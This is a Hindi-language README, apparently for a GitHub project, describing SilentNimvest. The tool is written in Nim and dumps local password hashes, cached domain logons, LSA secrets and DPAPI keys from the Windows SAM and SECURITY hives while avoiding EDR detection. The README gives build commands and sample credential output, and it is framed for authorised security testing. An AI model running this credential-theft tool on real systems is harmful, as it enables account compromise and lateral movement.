frkngksl/silentnimvestNim implementation for sud0Ru's Credential Dumping from SAM/SECURITY Hives Method (a.k.a. SilentHarvest)
मूलतः, SilentNimvest एक SAM और Security Hives पार्सर है जो Nim में लिखा गया है। SilentNimvest Silent Harvest तकनीक का उपयोग करके इन हाइव्स के अंतर्गत कुंजियाँ पढ़ता है। इस तकनीक से, SYSTEM-स्तरीय विशेषाधिकार के बजाय, एक सामान्य Administrator खाता जो SeBackupPrivilege को सक्षम करता है (NtOpenKeyEx फ़्लैग्स के कारण), एक कम EDR-सचेत रजिस्ट्री रीड API जो RegQueryMultipleValuesW है, का उपयोग करके स्थानीय उपयोगकर्ताओं के हैश, कैश्ड डोमेन लॉगऑन जानकारी, LSA Secrets, और इन हाइव्स से प्राप्त होने वाले अन्य रहस्यों को डंप कर सकता है।
यह पूरा प्रोजेक्ट sud0ru के शोध पर आधारित है।
आप निम्नलिखित कमांड के साथ सीधे स्रोत कोड को संकलित कर सकते हैं:
nim c -d:release -o:SilentNimvest.exe Main.nim
यदि आपको "cannot open file" त्रुटि मिलती है, तो आपको आवश्यक निर्भरताएँ भी स्थापित करनी चाहिए:
nimble install winim nimcrypto checksums des
SilentNimvest को एक उन्नत Administrator टर्मिनल से बिना किसी आवश्यक पैरामीटर के सीधे निष्पादित किया जा सकता है।
PS C:\Users\test\Desktop\SilentNimvest> .\SilentNimvest.exe
__ _ _ _ __ _ _
/ _(_) | ___ _ __ | |_ /\ \ (_)_ __ _____ _____ ___| |_
\ \| | |/ _ \ '_ \| __|/ \/ / | '_ ` _ \ \ / / _ \/ __| __|
_\ \ | | __/ | | | |_/ /\ /| | | | | | \ V / __/\__ \ |_
\__/_|_|\___|_| |_|\__\_\ \/ |_|_| |_| |_|\_/ \___||___/\__|
@R0h1rr1m
[!] Trying to parse SAM Related Credentials (Local Users)
[*] Local User RID: 500 - Administrator - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 501 - Guest - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 503 - DefaultAccount - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 504 - WDAGUtilityAccount - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 1001 - zoro - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[!] Trying to parse Security Related Credentials (Cached Domain Logon Info, Machine Account and LSA Secrets)
[*] DPAPI Keys: dpapi_machinekey: ea31d6cfe0d16ae931b73c59d7e0c089c037b & dpapi_userkey: 44431d6cfe0d16ae931b73c59d7e0c089c0d0
[*] NL$KM: 1f31d6cfe0d16ae931b73c59d7e0c089c031d6cfe0d16ae931b73c59d7e0c089c031d6cfe0d16ae931b73c59d7e0c089c0c01
[*] Plaintext User from _SC_Backupservice: .\zoro:SilentNimvest
केवल अधिकृत सुरक्षा परीक्षण के लिए। स्पष्ट अनुमति के बिना सिस्टम पर इस उपकरण का दुरुपयोग अवैध है।